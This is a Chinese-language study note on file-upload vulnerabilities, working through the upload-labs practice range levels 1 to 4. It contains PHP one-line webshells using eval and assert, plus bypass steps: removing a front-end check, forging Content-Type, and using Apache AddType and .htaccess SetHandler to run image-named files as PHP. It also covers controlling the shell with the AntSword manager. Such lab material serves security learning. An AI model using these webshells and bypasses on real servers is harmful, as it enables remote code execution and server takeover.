文件上传漏洞介绍
部署一下upload-labs靶场,
解压出来时会报毒,我关掉了防火墙,用的是新的600多KB,旧的那个有些bug
网盘:或者github下载
http://r4.sgwbox.com/fileshare/?tcid=n3686A122601C5&code=Z19HfjOQSJ7QpJ4bdXu37gAuUfRP-v1E4-ADV-Tjsi3zAI-D&cmd=list
github项目地址:
https://github.com/c0ny1/upload-labs
pass-1
限制是在前端做的。直接上传,上传失败。
准备一个webshell.php 国内叫木马,国外叫webshell
<?php
// 测试有没有上传成功
phpinfo();
?>
因为是前端限制,所以可以直接找到验证文件类型的事件,进行删除即可。
火狐浏览器可以,edg反倒不行,用火狐
右键复制图像链接,打开
安装“蚁剑”— webshell的管理工具
新版本比较好用,但是要初始化,老版本解压就能用,但是感觉不太好用
老版本直接解压用
新版解压后初始化一下
资源链接:http://r4.sgwbox.com/fileshare/?tcid=n3686A122601C5&code=Z19HfjOQSJ7QpJ4bdXu37gDq1lD-ZPql3H9vTryV_YnlAMG1&cmd=list
提取码:无
使用蚁剑链接一句话木马
pass-2
上次测试可以用webshell那个,能传那么一句话木马php也能传
第二关检查的是MIME类型(Content-Type)
先查看一下源码 注意,网站有问题就重装,可能杀毒软件杀掉了
所以直接抓包,将Content-Type修改为 文件类型即可(比如:image/png)
pass-3
看一下源码,是黑名单限制。 那么抓包的时候删webshell.php后缀能行嘛,不行,因为试了下,最后复制图像链接没有显示,解析不出来。 换个思路
服务器端需要有一个配置(有的真实情况下确实有该配置)有时候web服务器这儿是有这样的设置的,那可以用这样的方法区绕过
- 默认咱们的环境没有该配置,所以手动添加一下。 我测试用的一直都是小皮2016老版本
在配置中添加
AddType application/x-httpd-php .phtml .php3 .php5 .phps .php
// apache会认识.phtml .php3 .php5 .phps .php后缀的文件,然后交给php解析器解析
// 默认不加,apache只认识.php
修改完成之后,保存重启服务。
练习:
默写php中的一句话木马
<?php
// 一句话木马,这个有多种写法,都可以
// @:不显示报错
// 注意,超级全局变量都是大写
@eval($_REQUEST['xxx']);
@eval($_GET['xxx']);
@eval($_POST['xxx']);
assert($_GET['xxx']);
?>
写法上还有免杀的写法,自行百度
pass-4
会发现4比3多了很多限制,都是黑名单,第四关的绕过方法可用于第三关
首先,application/x-httpd-php 的作用是在.htaccess文件所在的目录下,所有文件apache都会将其给到PHP解析,那么这个文件是可以上传的,因为源码里没有限制这个文件
.htaccess文件:apache的配置文件,优先生效。
SetHandler application/x-httpd-php
在.htaccess文件所在的目录下,所有文件apache都会将其给到PHP解析。
1、创建.htaccess文件
2、第四关中,点上传.htaccess
文件
3、上传一句话木马(修改后缀为图片类型),可以被解析,之后可以被蚁剑连接
4、删除.htaccess文件(后面的实验会有影响)